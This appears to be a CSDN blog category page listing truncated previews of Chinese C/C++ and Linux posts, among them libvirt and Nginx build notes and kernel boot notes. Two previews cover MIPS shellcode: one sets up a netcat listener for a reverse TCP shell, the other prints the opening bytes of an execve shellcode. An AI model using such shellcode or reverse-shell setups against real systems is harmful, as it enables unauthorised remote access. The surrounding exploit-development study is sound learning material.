![](https://img-blog.csdnimg.cn/20201014180756928.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
C/C++
文章平均质量分 50
克几尔
这个作者很懒,什么都没留下…
展开
-
在Ubuntu20上编译libvirt-6.10.0安装目录说明
ninja: Entering directory `build’[0/1] Installing files.Installing src/access/org.libvirt.api.policy to /usr/local/share/polkit-1/actionsInstalling src/libvirt.so.0.6010.0 to /usr/local/lib/x86_64-linux-gnuInstalling src/libvirt-qemu.so.0.6010.0 to /us原创 2022-02-28 21:56:34 · 1494 阅读 · 0 评论 -
基于MIPS的shellcode的reverse tcp调用
1 在win下使用netcat建立tcp server。(1) 下载netcat: https://eternallybored.org/misc/netcat/。软件下载后,会有病毒提示,设置成非病毒包。(2) 查看帮助信息:使用cmd开命令界面。使用.\nc64.exe -h命令查看帮助信息。(3) 建立socket监听:.\nc64.exe -L -p 30583(4) 等待连接…2 编写shellcode的reverse tcp调用源码#include <stdio.h>原创 2021-04-24 15:15:44 · 430 阅读 · 0 评论 -
基于MIPS的shellcode的execve系统调用
1 编写shellcode的execve系统调用源码#include <stdio.h>#include <unistd.h>char sc[] = { "\x99\x73\x06\x24" /* li a2,0x7399 */ "\x00\x00\xd0\x04" /* LB: bltzal a2,LB */ "\x50\x73\x0f\x24" /* li $t7,0x735原创 2021-04-18 13:42:07 · 291 阅读 · 0 评论 -
Centos7分部骤编译单文件执行程序
Centos7分部骤编译64位执行程序#!/bin/bash# 脚本执行格式:$ ./build-centos7-x64.sh <source file> <execute file>#src=$1dst=$2echo 'source file:'$srcecho 'execute file:'$dst#预编译gcc -E $src -o $dst.i# 汇编gcc -S $dst.i -o $dst.s# 编译as $dst.s -o $dst.o原创 2021-03-01 00:13:24 · 196 阅读 · 0 评论 -
如何将buffer数据置0-memset函数有缺陷
最近看到mbedtls源码里面有段关于memset的代码,和我们平时使用方式不一样,特意看了下。mbedtls的关于memset调用的源码如下:#if !defined(MBEDTLS_PLATFORM_ZEROIZE_ALT)/* * This implementation should never be optimized out by the compiler * * This implementation for mbedtls_platform_zeroize() was inspir原创 2020-09-17 14:17:30 · 1067 阅读 · 1 评论 -
Nginx-添加自定义模块makefile流程分析
基于nginx-1.14.0脚本分析编写一个自定义模块如果添加自定义模块,网上教程很多,参考了参考:http://bg.biedalian.com/2013/08/09/nginx-hello-world.html如果不能访问,检查是否是防火墙的问题。configure命令分析当前使用的命令./configure --add-module=./extends/ngx_http_hel...原创 2020-02-27 17:00:37 · 898 阅读 · 0 评论 -
Nginx脚本分析-configure脚本
基于nginx-1.14.0脚本分析configure脚本导入依赖脚本auto/options,auto/init,auto/sources,导入脚本具体分析参考后面内容。创建objs目录,创建objs/ngx_auto_headers.h和objs/ngx_auto_config.h文件。写入宏NGX_CONFIGURE到ngx_auto_config.h文件中。如果是调试状态,写入...原创 2020-02-21 17:11:54 · 440 阅读 · 0 评论 -
Nginx脚本分析-auto/feature
该脚本检测不同平台的特性。它的实现原理是,写一段C程序,然后编译连接,生成可执行程序,再运行可执行程序,根据此过程来检查相关特性。。脚本中使用变量变量ngx_found:使ngx_found用来返回检测的结果,检测失败为no,检测成功为yes,默认为失败。变量ngx_feature_name:传递给脚本需要写入的定义的名称,脚本中会把ngx_feature_name全部转化为大写字母,然...原创 2020-02-19 13:56:25 · 456 阅读 · 0 评论 -
linux内核-在centos7.2基础上制作极简根文件系统
1 平台的搭建1.1 软件平台(1)Window 10操作系统。(2)VMware Workstation 14 Pro。(3)Centos 7-x86_64-DVD-1804.iso。1.2 安装编译环境yum -y install gcc我配置的GCC4.9.0,其它版本没测试过,参考博客:http://www.kejierda.com/blog/?p=567 。yum i...原创 2019-03-13 10:16:39 · 1363 阅读 · 0 评论 -
linux内核-x86_32位内核启动流程
arch/x86/boot/header.S执行_start,第274行:.global _start_start:然后跳转执行start_of_setup,准备实模式建立堆栈,BSS段清0,为下步C语言执行建立环境。start_of_setup:然后跳转到C代码执行main:# Jump to C code (should not return)calll mainarch/x...原创 2019-01-12 11:30:22 · 968 阅读 · 0 评论